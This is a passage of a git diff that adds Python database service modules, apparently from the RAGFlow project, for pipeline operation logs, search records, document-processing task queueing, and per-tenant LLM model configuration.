KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import json +import logging +import os +from datetime import datetime, timedelta + +from peewee import fn + +from api.db import VALID_PIPELINE_TASK_TYPES, PipelineTaskType +from api.db.db_models import DB, Document, PipelineOperationLog +from api.db.services.canvas_service import UserCanvasService +from api.db.services.common_service import CommonService +from api.db.services.document_service import DocumentService +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.db.services.task_service import GRAPH_RAPTOR_FAKE_DOC_ID +from api.utils import current_timestamp, datetime_format, get_uuid + + +class PipelineOperationLogService(CommonService): + model = PipelineOperationLog + + @classmethod + def get_file_logs_fields(cls): + return [ + cls.model.id, + cls.model.document_id, + cls.model.tenant_id, + cls.model.kb_id, + cls.model.pipeline_id, + cls.model.pipeline_title, + cls.model.parser_id, + cls.model.document_name, + cls.model.document_suffix, + cls.model.document_type, + cls.model.source_from, + cls.model.progress, + cls.model.progress_msg, + cls.model.process_begin_at, + cls.model.process_duration, + cls.model.dsl, + cls.model.task_type, + cls.model.operation_status, + cls.model.avatar, + cls.model.status, + cls.model.create_time, + cls.model.create_date, + cls.model.update_time, + cls.model.update_date, + ] + + @classmethod + def get_dataset_logs_fields(cls): + return [ + cls.model.id, + cls.model.tenant_id, + cls.model.kb_id, + cls.model.progress, + cls.model.progress_msg, + cls.model.process_begin_at, + cls.model.process_duration, + cls.model.task_type, + cls.model.operation_status, + cls.model.avatar, + cls.model.status, + cls.model.create_time, + cls.model.create_date, + cls.model.update_time, + cls.model.update_date, + ] + + @classmethod + def save(cls, **kwargs): + """ + wrap this function in a transaction + """ + sample_obj = cls.model(**kwargs).save(force_insert=True) + return sample_obj + + @classmethod + @DB.connection_context() + def create(cls, document_id, pipeline_id, task_type, fake_document_ids=[], dsl: str = "{}"): + referred_document_id = document_id + + if referred_document_id == GRAPH_RAPTOR_FAKE_DOC_ID and fake_document_ids: + referred_document_id = fake_document_ids[0] + ok, document = DocumentService.get_by_id(referred_document_id) + if not ok: + logging.warning(f"Document for referred_document_id {referred_document_id} not found") + return + DocumentService.update_progress_immediately([document.to_dict()]) + ok, document = DocumentService.get_by_id(referred_document_id) + if not ok: + logging.warning(f"Document for referred_document_id {referred_document_id} not found") + return + if document.progress not in [1, -1]: + return + operation_status = document.run + + if pipeline_id: + ok, user_pipeline = UserCanvasService.get_by_id(pipeline_id) + if not ok: + raise RuntimeError(f"Pipeline {pipeline_id} not found") + tenant_id = user_pipeline.user_id + title = user_pipeline.title + avatar = user_pipeline.avatar + else: + ok, kb_info = KnowledgebaseService.get_by_id(document.kb_id) + if not ok: + raise RuntimeError(f"Cannot find knowledge base {document.kb_id} for referred_document {referred_document_id}") + + tenant_id = kb_info.tenant_id + title = document.parser_id + avatar = document.thumbnail + + if task_type not in VALID_PIPELINE_TASK_TYPES: + raise ValueError(f"Invalid task type: {task_type}") + + if task_type in [PipelineTaskType.GRAPH_RAG, PipelineTaskType.RAPTOR, PipelineTaskType.MINDMAP]: + finish_at = document.process_begin_at + timedelta(seconds=document.process_duration) + if task_type == PipelineTaskType.GRAPH_RAG: + KnowledgebaseService.update_by_id( + document.kb_id, + {"graphrag_task_finish_at": finish_at}, + ) + elif task_type == PipelineTaskType.RAPTOR: + KnowledgebaseService.update_by_id( + document.kb_id, + {"raptor_task_finish_at": finish_at}, + ) + elif task_type == PipelineTaskType.MINDMAP: + KnowledgebaseService.update_by_id( + document.kb_id, + {"mindmap_task_finish_at": finish_at}, + ) + + log = dict( + id=get_uuid(), + document_id=document_id, # GRAPH_RAPTOR_FAKE_DOC_ID or real document_id + tenant_id=tenant_id, + kb_id=document.kb_id, + pipeline_id=pipeline_id, + pipeline_title=title, + parser_id=document.parser_id, + document_name=document.name, + document_suffix=document.suffix, + document_type=document.type, + source_from="", # TODO: add in the future + progress=document.progress, + progress_msg=document.progress_msg, + process_begin_at=document.process_begin_at, + process_duration=document.process_duration, + dsl=json.loads(dsl), + task_type=task_type, + operation_status=operation_status, + avatar=avatar, + ) + log["create_time"] = current_timestamp() + log["create_date"] = datetime_format(datetime.now()) + log["update_time"] = current_timestamp() + log["update_date"] = datetime_format(datetime.now()) + + with DB.atomic(): + obj = cls.save(**log) + + limit = int(os.getenv("PIPELINE_OPERATION_LOG_LIMIT", 1000)) + total = cls.model.select().where(cls.model.kb_id == document.kb_id).count() + + if total > limit: + keep_ids = [m.id for m in cls.model.select(cls.model.id).where(cls.model.kb_id == document.kb_id).order_by(cls.model.create_time.desc()).limit(limit)] + + deleted = cls.model.delete().where(cls.model.kb_id == document.kb_id, cls.model.id.not_in(keep_ids)).execute() + logging.info(f"[PipelineOperationLogService] Cleaned {deleted} old logs, kept latest {limit} for {document.kb_id}") + + return obj + + @classmethod + @DB.connection_context() + def record_pipeline_operation(cls, document_id, pipeline_id, task_type, fake_document_ids=[]): + return cls.create(document_id=document_id, pipeline_id=pipeline_id, task_type=task_type, fake_document_ids=fake_document_ids) + + @classmethod + @DB.connection_context() + def get_file_logs_by_kb_id(cls, kb_id, page_number, items_per_page, orderby, desc, keywords, operation_status, types, suffix, create_date_from=None, create_date_to=None): + fields = cls.get_file_logs_fields() + if keywords: + logs = cls.model.select(*fields).where((cls.model.kb_id == kb_id), (fn.LOWER(cls.model.document_name).contains(keywords.lower()))) + else: + logs = cls.model.select(*fields).where(cls.model.kb_id == kb_id) + + logs = logs.where(cls.model.document_id != GRAPH_RAPTOR_FAKE_DOC_ID) + + if operation_status: + logs = logs.where(cls.model.operation_status.in_(operation_status)) + if types: + logs = logs.where(cls.model.document_type.in_(types)) + if suffix: + logs = logs.where(cls.model.document_suffix.in_(suffix)) + if create_date_from: + logs = logs.where(cls.model.create_date >= create_date_from) + if create_date_to: + logs = logs.where(cls.model.create_date <= create_date_to) + + count = logs.count() + if desc: + logs = logs.order_by(cls.model.getter_by(orderby).desc()) + else: + logs = logs.order_by(cls.model.getter_by(orderby).asc()) + + if page_number and items_per_page: + logs = logs.paginate(page_number, items_per_page) + + return list(logs.dicts()), count + + @classmethod + @DB.connection_context() + def get_documents_info(cls, id): + fields = [Document.id, Document.name, Document.progress, Document.kb_id] + return ( + cls.model.select(*fields) + .join(Document, on=(cls.model.document_id == Document.id)) + .where( + cls.model.id == id + ) + .dicts() + ) + + @classmethod + @DB.connection_context() + def get_dataset_logs_by_kb_id(cls, kb_id, page_number, items_per_page, orderby, desc, operation_status, create_date_from=None, create_date_to=None): + fields = cls.get_dataset_logs_fields() + logs = cls.model.select(*fields).where((cls.model.kb_id == kb_id), (cls.model.document_id == GRAPH_RAPTOR_FAKE_DOC_ID)) + + if operation_status: + logs = logs.where(cls.model.operation_status.in_(operation_status)) + if create_date_from: + logs = logs.where(cls.model.create_date >= create_date_from) + if create_date_to: + logs = logs.where(cls.model.create_date <= create_date_to) + + count = logs.count() + if desc: + logs = logs.order_by(cls.model.getter_by(orderby).desc()) + else: + logs = logs.order_by(cls.model.getter_by(orderby).asc()) + + if page_number and items_per_page: + logs = logs.paginate(page_number, items_per_page) + + return list(logs.dicts()), count diff --git a/api/db/services/search_service.py b/api/db/services/search_service.py new file mode 100644 index 0000000..acb07da --- /dev/null +++ b/api/db/services/search_service.py @@ -0,0 +1,117 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from datetime import datetime + +from peewee import fn + +from api.db import StatusEnum +from api.db.db_models import DB, Search, User +from api.db.services.common_service import CommonService +from api.utils import current_timestamp, datetime_format + + +class SearchService(CommonService): + model = Search + + @classmethod + def save(cls, **kwargs): + kwargs["create_time"] = current_timestamp() + kwargs["create_date"] = datetime_format(datetime.now()) + kwargs["update_time"] = current_timestamp() + kwargs["update_date"] = datetime_format(datetime.now()) + obj = cls.model.create(**kwargs) + return obj + + @classmethod + @DB.connection_context() + def accessible4deletion(cls, search_id, user_id) -> bool: + search = ( + cls.model.select(cls.model.id) + .where( + cls.model.id == search_id, + cls.model.created_by == user_id, + cls.model.status == StatusEnum.VALID.value, + ) + .first() + ) + return search is not None + + @classmethod + @DB.connection_context() + def get_detail(cls, search_id): + fields = [ + cls.model.id, + cls.model.avatar, + cls.model.tenant_id, + cls.model.name, + cls.model.description, + cls.model.created_by, + cls.model.search_config, + cls.model.update_time, + User.nickname, + User.avatar.alias("tenant_avatar"), + ] + search = ( + cls.model.select(*fields) + .join(User, on=((User.id == cls.model.tenant_id) & (User.status == StatusEnum.VALID.value))) + .where((cls.model.id == search_id) & (cls.model.status == StatusEnum.VALID.value)) + .first() + .to_dict() + ) + if not search: + return {} + return search + + @classmethod + @DB.connection_context() + def get_by_tenant_ids(cls, joined_tenant_ids, user_id, page_number, items_per_page, orderby, desc, keywords): + fields = [ + cls.model.id, + cls.model.avatar, + cls.model.tenant_id, + cls.model.name, + cls.model.description, + cls.model.created_by, + cls.model.status, + cls.model.update_time, + cls.model.create_time, + User.nickname, + User.avatar.alias("tenant_avatar"), + ] + query = ( + cls.model.select(*fields) + .join(User, on=(cls.model.tenant_id == User.id)) + .where(((cls.model.tenant_id.in_(joined_tenant_ids)) | (cls.model.tenant_id == user_id)) & (cls.model.status == StatusEnum.VALID.value)) + ) + + if keywords: + query = query.where(fn.LOWER(cls.model.name).contains(keywords.lower())) + if desc: + query = query.order_by(cls.model.getter_by(orderby).desc()) + else: + query = query.order_by(cls.model.getter_by(orderby).asc()) + + count = query.count() + + if page_number and items_per_page: + query = query.paginate(page_number, items_per_page) + + return list(query.dicts()), count + + @classmethod + @DB.connection_context() + def delete_by_tenant_id(cls, tenant_id): + return cls.model.delete().where(cls.model.tenant_id == tenant_id).execute() diff --git a/api/db/services/task_service.py b/api/db/services/task_service.py new file mode 100644 index 0000000..f31494b --- /dev/null +++ b/api/db/services/task_service.py @@ -0,0 +1,522 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import os +import random +import xxhash +from datetime import datetime + +from api.db.db_utils import bulk_insert_into_db +from deepdoc.parser import PdfParser +from peewee import JOIN +from api.db.db_models import DB, File2Document, File +from api.db import StatusEnum, FileType, TaskStatus +from api.db.db_models import Task, Document, Knowledgebase, Tenant +from api.db.services.common_service import CommonService +from api.db.services.document_service import DocumentService +from api.utils import current_timestamp, get_uuid +from deepdoc.parser.excel_parser import RAGFlowExcelParser +from rag.settings import get_svr_queue_name +from rag.utils.storage_factory import STORAGE_IMPL +from rag.utils.redis_conn import REDIS_CONN +from api import settings +from rag.nlp import search + +CANVAS_DEBUG_DOC_ID = "dataflow_x" +GRAPH_RAPTOR_FAKE_DOC_ID = "graph_raptor_x" + +def trim_header_by_lines(text: str, max_length) -> str: + # Trim header text to maximum length while preserving line breaks + # Args: + # text: Input text to trim + # max_length: Maximum allowed length + # Returns: + # Trimmed text + len_text = len(text) + if len_text <= max_length: + return text + for i in range(len_text): + if text[i] == '\n' and len_text - i <= max_length: + return text[i + 1:] + return text + + +class TaskService(CommonService): + """Service class for managing document processing tasks. + + This class extends CommonService to provide specialized functionality for document + processing task management, including task creation, progress tracking, and chunk + management. It handles various document types (PDF, Excel, etc.) and manages their + processing lifecycle. + + The class implements a robust task queue system with retry mechanisms and progress + tracking, supporting both synchronous and asynchronous task execution. + + Attributes: + model: The Task model class for database operations. + """ + model = Task + + @classmethod + @DB.connection_context() + def get_task(cls, task_id, doc_ids=[]): + """Retrieve detailed task information by task ID. + + This method fetches comprehensive task details including associated document, + knowledge base, and tenant information. It also handles task retry logic and + progress updates. + + Args: + task_id (str): The unique identifier of the task to retrieve. + + Returns: + dict: Task details dictionary containing all task information and related metadata. + Returns None if task is not found or has exceeded retry limit. + """ + doc_id = cls.model.doc_id + if doc_id == CANVAS_DEBUG_DOC_ID and doc_ids: + doc_id = doc_ids[0] + + fields = [ + cls.model.id, + cls.model.doc_id, + cls.model.from_page, + cls.model.to_page, + cls.model.retry_count, + Document.kb_id, + Document.parser_id, + Document.parser_config, + Document.name, + Document.type, + Document.location, + Document.size, + Knowledgebase.tenant_id, + Knowledgebase.language, + Knowledgebase.embd_id, + Knowledgebase.pagerank, + Knowledgebase.parser_config.alias("kb_parser_config"), + Tenant.img2txt_id, + Tenant.asr_id, + Tenant.llm_id, + cls.model.update_time, + ] + docs = ( + cls.model.select(*fields) + .join(Document, on=(doc_id == Document.id)) + .join(Knowledgebase, on=(Document.kb_id == Knowledgebase.id)) + .join(Tenant, on=(Knowledgebase.tenant_id == Tenant.id)) + .where(cls.model.id == task_id) + ) + docs = list(docs.dicts()) + if not docs: + return None + + msg = f"\n{datetime.now().strftime('%H:%M:%S')} Task has been received." + prog = random.random() / 10.0 + if docs[0]["retry_count"] >= 3: + msg = "\nERROR: Task is abandoned after 3 times attempts." + prog = -1 + + cls.model.update( + progress_msg=cls.model.progress_msg + msg, + progress=prog, + retry_count=docs[0]["retry_count"] + 1, + ).where(cls.model.id == docs[0]["id"]).execute() + + if docs[0]["retry_count"] >= 3: + return None + + return docs[0] + + @classmethod + @DB.connection_context() + def get_tasks(cls, doc_id: str): + """Retrieve all tasks associated with a document. + + This method fetches all processing tasks for a given document, ordered by page + number and creation time. It includes task progress and chunk information. + + Args: + doc_id (str): The unique identifier of the document. + + Returns: + list[dict]: List of task dictionaries containing task details. + Returns None if no tasks are found. + """ + fields = [ + cls.model.id, + cls.model.from_page, + cls.model.progress, + cls.model.digest, + cls.model.chunk_ids, + ] + tasks = ( + cls.model.select(*fields).order_by(cls.model.from_page.asc(), cls.model.create_time.desc()) + .where(cls.model.doc_id == doc_id) + ) + tasks = list(tasks.dicts()) + if not tasks: + return None + return tasks + + @classmethod + @DB.connection_context() + def update_chunk_ids(cls, id: str, chunk_ids: str): + """Update the chunk IDs associated with a task. + + This method updates the chunk_ids field of a task, which stores the IDs of + processed document chunks in a space-separated string format. + + Args: + id (str): The unique identifier of the task. + chunk_ids (str): Space-separated string of chunk identifiers. + """ + cls.model.update(chunk_ids=chunk_ids).where(cls.model.id == id).execute() + + @classmethod + @DB.connection_context() + def get_ongoing_doc_name(cls): + """Get names of documents that are currently being processed. + + This method retrieves information about documents that are in the processing state, + including their locations and associated IDs. It uses database locking to ensure + thread safety when accessing the task information. + + Returns: + list[tuple]: A list of tuples, each containing (parent_id/kb_id, location) + for documents currently being processed. Returns empty list if + no documents are being processed. + """ + with DB.lock("get_task", -1): + docs = ( + cls.model.select( + *[Document.id, Document.kb_id, Document.location, File.parent_id] + ) + .join(Document, on=(cls.model.doc_id == Document.id)) + .join( + File2Document, + on=(File2Document.document_id == Document.id), + join_type=JOIN.LEFT_OUTER, + ) + .join( + File, + on=(File2Document.file_id == File.id), + join_type=JOIN.LEFT_OUTER, + ) + .where( + Document.status == StatusEnum.VALID.value, + Document.run == TaskStatus.RUNNING.value, + ~(Document.type == FileType.VIRTUAL.value), + cls.model.progress < 1, + cls.model.create_time >= current_timestamp() - 1000 * 600, + ) + ) + docs = list(docs.dicts()) + if not docs: + return [] + + return list( + set( + [ + ( + d["parent_id"] if d["parent_id"] else d["kb_id"], + d["location"], + ) + for d in docs + ] + ) + ) + + @classmethod + @DB.connection_context() + def do_cancel(cls, id): + """Check if a task should be cancelled based on its document status. + + This method determines whether a task should be cancelled by checking the + associated document's run status and progress. A task should be cancelled + if its document is marked for cancellation or has negative progress. + + Args: + id (str): The unique identifier of the task to check. + + Returns: + bool: True if the task should be cancelled, False otherwise. + """ + task = cls.model.get_by_id(id) + _, doc = DocumentService.get_by_id(task.doc_id) + return doc.run == TaskStatus.CANCEL.value or doc.progress < 0 + + @classmethod + @DB.connection_context() + def update_progress(cls, id, info): + """Update the progress information for a task. + + This method updates both the progress message and completion percentage of a task. + It handles platform-specific behavior (macOS vs others) and uses database locking + when necessary to ensure thread safety. + + Update Rules: + - progress_msg: Always appends the new message to the existing one, and trims the result to max 3000 lines. + - progress: Only updates if the current progress is not -1 AND + (the new progress is -1 OR greater than the existing progress), + to avoid overwriting valid progress with invalid or regressive values. + + Args: + id (str): The unique identifier of the task to update. + info (dict): Dictionary containing progress information with keys: + - progress_msg (str, optional): Progress message to append + - progress (float, optional): Progress percentage (0.0 to 1.0) + """ + task = cls.model.get_by_id(id) + if not task: + logging.warning("Update_progress error: task not found") + return + + if os.environ.get("MACOS"): + if info["progress_msg"]: + progress_msg = trim_header_by_lines(task.progress_msg + "\n" + info["progress_msg"], 3000) + cls.model.update(progress_msg=progress_msg).where(cls.model.id == id).execute() + if "progress" in info: + prog = info["progress"] + cls.model.update(progress=prog).where( + (cls.model.id == id) & + ( + (cls.model.progress != -1) & + ((prog == -1) | (prog > cls.model.progress)) + ) + ).execute() + else: + with DB.lock("update_progress", -1): + if info["progress_msg"]: + progress_msg = trim_header_by_lines(task.progress_msg + "\n" + info["progress_msg"], 3000) + cls.model.update(progress_msg=progress_msg).where(cls.model.id == id).execute() + if "progress" in info: + prog = info["progress"] + cls.model.update(progress=prog).where( + (cls.model.id == id) & + ( + (cls.model.progress != -1) & + ((prog == -1) | (prog > cls.model.progress)) + ) + ).execute() + + process_duration = (datetime.now() - task.begin_at).total_seconds() + cls.model.update(process_duration=process_duration).where(cls.model.id == id).execute() + + @classmethod + @DB.connection_context() + def delete_by_doc_ids(cls, doc_ids): + """Delete task associated with a document.""" + return cls.model.delete().where(cls.model.doc_id.in_(doc_ids)).execute() + + +def queue_tasks(doc: dict, bucket: str, name: str, priority: int): + """Create and queue document processing tasks. + + This function creates processing tasks for a document based on its type and configuration. + It handles different document types (PDF, Excel, etc.) differently and manages task + chunking and configuration. It also implements task reuse optimization by checking + for previously completed tasks. + + Args: + doc (dict): Document dictionary containing metadata and configuration. + bucket (str): Storage bucket name where the document is stored. + name (str): File name of the document. + priority (int, optional): Priority level for task queueing (default is 0). + + Note: + - For PDF documents, tasks are created per page range based on configuration + - For Excel documents, tasks are created per row range + - Task digests are calculated for optimization and reuse + - Previous task chunks may be reused if available + """ + def new_task(): + return { + "id": get_uuid(), + "doc_id": doc["id"], + "progress": 0.0, + "from_page": 0, + "to_page": 100000000, + "begin_at": datetime.now(), + } + + parse_task_array = [] + + if doc["type"] == FileType.PDF.value: + file_bin = STORAGE_IMPL.get(bucket, name) + do_layout = doc["parser_config"].get("layout_recognize", "DeepDOC") + pages = PdfParser.total_page_number(doc["name"], file_bin) + if pages is None: + pages = 0 + page_size = doc["parser_config"].get("task_page_size") or 12 + if doc["parser_id"] == "paper": + page_size = doc["parser_config"].get("task_page_size") or 22 + if doc["parser_id"] in ["one", "knowledge_graph"] or do_layout != "DeepDOC" or doc["parser_config"].get("toc", True): + page_size = 10 ** 9 + page_ranges = doc["parser_config"].get("pages") or [(1, 10 ** 5)] + for s, e in page_ranges: + s -= 1 + s = max(0, s) + e = min(e - 1, pages) + for p in range(s, e, page_size): + task = new_task() + task["from_page"] = p + task["to_page"] = min(p + page_size, e) + parse_task_array.append(task) + + elif doc["parser_id"] == "table": + file_bin = STORAGE_IMPL.get(bucket, name) + rn = RAGFlowExcelParser.row_number(doc["name"], file_bin) + for i in range(0, rn, 3000): + task = new_task() + task["from_page"] = i + task["to_page"] = min(i + 3000, rn) + parse_task_array.append(task) + else: + parse_task_array.append(new_task()) + + chunking_config = DocumentService.get_chunking_config(doc["id"]) + for task in parse_task_array: + hasher = xxhash.xxh64() + for field in sorted(chunking_config.keys()): + if field == "parser_config": + for k in ["raptor", "graphrag"]: + if k in chunking_config[field]: + del chunking_config[field][k] + hasher.update(str(chunking_config[field]).encode("utf-8")) + for field in ["doc_id", "from_page", "to_page"]: + hasher.update(str(task.get(field, "")).encode("utf-8")) + task_digest = hasher.hexdigest() + task["digest"] = task_digest + task["progress"] = 0.0 + task["priority"] = priority + + prev_tasks = TaskService.get_tasks(doc["id"]) + ck_num = 0 + if prev_tasks: + for task in parse_task_array: + ck_num += reuse_prev_task_chunks(task, prev_tasks, chunking_config) + TaskService.filter_delete([Task.doc_id == doc["id"]]) + pre_chunk_ids = [] + for pre_task in prev_tasks: + if pre_task["chunk_ids"]: + pre_chunk_ids.extend(pre_task["chunk_ids"].split()) + if pre_chunk_ids: + settings.docStoreConn.delete({"id": pre_chunk_ids}, search.index_name(chunking_config["tenant_id"]), + chunking_config["kb_id"]) + DocumentService.update_by_id(doc["id"], {"chunk_num": ck_num}) + + bulk_insert_into_db(Task, parse_task_array, True) + DocumentService.begin2parse(doc["id"]) + + unfinished_task_array = [task for task in parse_task_array if task["progress"] < 1.0] + for unfinished_task in unfinished_task_array: + assert REDIS_CONN.queue_product( + get_svr_queue_name(priority), message=unfinished_task + ), "Can't access Redis. Please check the Redis' status." + + +def reuse_prev_task_chunks(task: dict, prev_tasks: list[dict], chunking_config: dict): + """Attempt to reuse chunks from previous tasks for optimization. + + This function checks if chunks from previously completed tasks can be reused for + the current task, which can significantly improve processing efficiency. It matches + tasks based on page ranges and configuration digests. + + Args: + task (dict): Current task dictionary to potentially reuse chunks for. + prev_tasks (list[dict]): List of previous task dictionaries to check for reuse. + chunking_config (dict): Configuration dictionary for chunk processing. + + Returns: + int: Number of chunks successfully reused. Returns 0 if no chunks could be reused. + + Note: + Chunks can only be reused if: + - A previous task exists with matching page range and configuration digest + - The previous task was completed successfully (progress = 1.0) + - The previous task has valid chunk IDs + """ + idx = 0 + while idx < len(prev_tasks): + prev_task = prev_tasks[idx] + if prev_task.get("from_page", 0) == task.get("from_page", 0) \ + and prev_task.get("digest", 0) == task.get("digest", ""): + break + idx += 1 + + if idx >= len(prev_tasks): + return 0 + prev_task = prev_tasks[idx] + if prev_task["progress"] < 1.0 or not prev_task["chunk_ids"]: + return 0 + task["chunk_ids"] = prev_task["chunk_ids"] + task["progress"] = 1.0 + if "from_page" in task and "to_page" in task and int(task['to_page']) - int(task['from_page']) >= 10 ** 6: + task["progress_msg"] = f"Page({task['from_page']}~{task['to_page']}): " + else: + task["progress_msg"] = "" + task["progress_msg"] = " ".join( + [datetime.now().strftime("%H:%M:%S"), task["progress_msg"], "Reused previous task's chunks."]) + prev_task["chunk_ids"] = "" + + return len(task["chunk_ids"].split()) + + +def cancel_all_task_of(doc_id): + for t in TaskService.query(doc_id=doc_id): + try: + REDIS_CONN.set(f"{t.id}-cancel", "x") + except Exception as e: + logging.exception(e) + + +def has_canceled(task_id): + try: + if REDIS_CONN.get(f"{task_id}-cancel"): + return True + except Exception as e: + logging.exception(e) + return False + + +def queue_dataflow(tenant_id:str, flow_id:str, task_id:str, doc_id:str=CANVAS_DEBUG_DOC_ID, file:dict=None, priority: int=0, rerun:bool=False) -> tuple[bool, str]: + + task = dict( + id=task_id, + doc_id=doc_id, + from_page=0, + to_page=100000000, + task_type="dataflow" if not rerun else "dataflow_rerun", + priority=priority, + begin_at=datetime.now(), + ) + if doc_id not in [CANVAS_DEBUG_DOC_ID, GRAPH_RAPTOR_FAKE_DOC_ID]: + TaskService.model.delete().where(TaskService.model.doc_id == doc_id).execute() + DocumentService.begin2parse(doc_id) + bulk_insert_into_db(model=Task, data_source=[task], replace_on_conflict=True) + + task["kb_id"] = DocumentService.get_knowledgebase_id(doc_id) + task["tenant_id"] = tenant_id + task["dataflow_id"] = flow_id + task["file"] = file + + if not REDIS_CONN.queue_product( + get_svr_queue_name(priority), message=task + ): + return False, "Can't access Redis. Please check the Redis' status." + + return True, "" diff --git a/api/db/services/tenant_llm_service.py b/api/db/services/tenant_llm_service.py new file mode 100644 index 0000000..4eca970 --- /dev/null +++ b/api/db/services/tenant_llm_service.py @@ -0,0 +1,257 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +from langfuse import Langfuse +from api import settings +from api.db import LLMType +from api.db.db_models import DB, LLMFactories, TenantLLM +from api.db.services.common_service import CommonService +from api.db.services.langfuse_service import TenantLangfuseService +from api.db.services.user_service import TenantService +from rag.llm import ChatModel, CvModel, EmbeddingModel, RerankModel, Seq2txtModel, TTSModel + + +class LLMFactoriesService(CommonService): + model = LLMFactories + + +class TenantLLMService(CommonService): + model = TenantLLM + + @classmethod + @DB.connection_context() + def get_api_key(cls, tenant_id, model_name): + mdlnm, fid = TenantLLMService.split_model_name_and_factory(model_name) + if not fid: + objs = cls.query(tenant_id=tenant_id, llm_name=mdlnm) + else: + objs = cls.query(tenant_id=tenant_id, llm_name=mdlnm, llm_factory=fid) + + if (not objs) and fid: + if fid == "LocalAI": + mdlnm += "___LocalAI" + elif fid == "HuggingFace": + mdlnm += "___HuggingFace" + elif fid == "OpenAI-API-Compatible": + mdlnm += "___OpenAI-API" + elif fid == "VLLM": + mdlnm += "___VLLM" + objs = cls.query(tenant_id=tenant_id, llm_name=mdlnm, llm_factory=fid) + if not objs: + return + return objs[0] + + @classmethod + @DB.connection_context() + def get_my_llms(cls, tenant_id): + fields = [cls.model.llm_factory, LLMFactories.logo, LLMFactories.tags, cls.model.model_type, cls.model.llm_name, cls.model.used_tokens] + objs = cls.model.select(*fields).join(LLMFactories, on=(cls.model.llm_factory == LLMFactories.name)).where(cls.model.tenant_id == tenant_id, ~cls.model.api_key.is_null()).dicts() + + return list(objs) + + @staticmethod + def split_model_name_and_factory(model_name): + arr = model_name.split("@") + if len(arr) < 2: + return model_name, None + if len(arr) > 2: + return "@".join(arr[0:-1]), arr[-1] + + # model name must be xxx@yyy + try: + model_factories = settings.FACTORY_LLM_INFOS + model_providers = set([f["name"] for f in model_factories]) + if arr[-1] not in model_providers: + return model_name, None + return arr[0], arr[-1] + except Exception as e: + logging.exception(f"TenantLLMService.split_model_name_and_factory got exception: {e}") + return model_name, None + + @classmethod + @DB.connection_context() + def get_model_config(cls, tenant_id, llm_type, llm_name=None): + from api.db.services.llm_service import LLMService + e, tenant = TenantService.get_by_id(tenant_id) + if not e: + raise LookupError("Tenant not found") + + if llm_type == LLMType.EMBEDDING.value: + mdlnm = tenant.embd_id if not llm_name else llm_name + elif llm_type == LLMType.SPEECH2TEXT.value: + mdlnm = tenant.asr_id + elif llm_type == LLMType.IMAGE2TEXT.value: + mdlnm = tenant.img2txt_id if not llm_name else llm_name + elif llm_type == LLMType.CHAT.value: + mdlnm = tenant.llm_id if not llm_name else llm_name + elif llm_type == LLMType.RERANK: + mdlnm = tenant.rerank_id if not llm_name else llm_name + elif llm_type == LLMType.TTS: + mdlnm = tenant.tts_id if not llm_name else llm_name + else: + assert False, "LLM type error" + + model_config = cls.get_api_key(tenant_id, mdlnm) + mdlnm, fid = TenantLLMService.split_model_name_and_factory(mdlnm) + if not model_config: # for some cases seems fid mismatch + model_config = cls.get_api_key(tenant_id, mdlnm) + if model_config: + model_config = model_config.to_dict() + llm = LLMService.query(llm_name=mdlnm) if not fid else LLMService.query(llm_name=mdlnm, fid=fid) + if not llm and fid: # for some cases seems fid mismatch + llm = LLMService.query(llm_name=mdlnm) + if llm: + model_config["is_tools"] = llm[0].is_tools + if not model_config: + if llm_type in [LLMType.EMBEDDING, LLMType.RERANK]: + llm = LLMService.query(llm_name=mdlnm) if not fid else LLMService.query(llm_name=mdlnm, fid=fid) + if llm and llm[0].fid in ["Youdao", "FastEmbed", "BAAI"]: + model_config = {"llm_factory": llm[0].fid, "api_key": "", "llm_name": mdlnm, "api_base": ""} + if not model_config: + if mdlnm == "flag-embedding": + model_config = {"llm_factory": "Tongyi-Qianwen", "api_key": "", "llm_name": llm_name, "api_base": ""} + else: + if not mdlnm: + raise LookupError(f"Type of {llm_type} model is not set.") + raise LookupError("Model({}) not authorized".format(mdlnm)) + return model_config + + @classmethod + @DB.connection_context() + def model_instance(cls, tenant_id, llm_type, llm_name=None, lang="Chinese", **kwargs): + model_config = TenantLLMService.get_model_config(tenant_id, llm_type, llm_name) + kwargs.update({"provider": model_config["llm_factory"]}) + if llm_type == LLMType.EMBEDDING.value: + if model_config["llm_factory"] not in EmbeddingModel: + return + return EmbeddingModel[model_config["llm_factory"]](model_config["api_key"], model_config["llm_name"], base_url=model_config["api_base"]) + + if llm_type == LLMType.RERANK: + if model_config["llm_factory"] not in RerankModel: + return + return RerankModel[model_config["llm_factory"]](model_config["api_key"], model_config["llm_name"], base_url=model_config["api_base"]) + + if llm_type == LLMType.IMAGE2TEXT.value: + if model_config["llm_factory"] not in CvModel: + return + return CvModel[model_config["llm_factory"]](model_config["api_key"], model_config["llm_name"], lang, base_url=model_config["api_base"], **kwargs) + + if llm_type == LLMType.CHAT.value: + if model_config["llm_factory"] not in ChatModel: + return + return ChatModel[model_config["llm_factory"]](model_config["api_key"], model_config["llm_name"], base_url=model_config["api_base"], **kwargs) + + if llm_type == LLMType.SPEECH2TEXT: + if model_config["llm_factory"] not in Seq2txtModel: + return + return Seq2txtModel[model_config["llm_factory"]](key=model_config["api_key"], model_name=model_config["llm_name"], 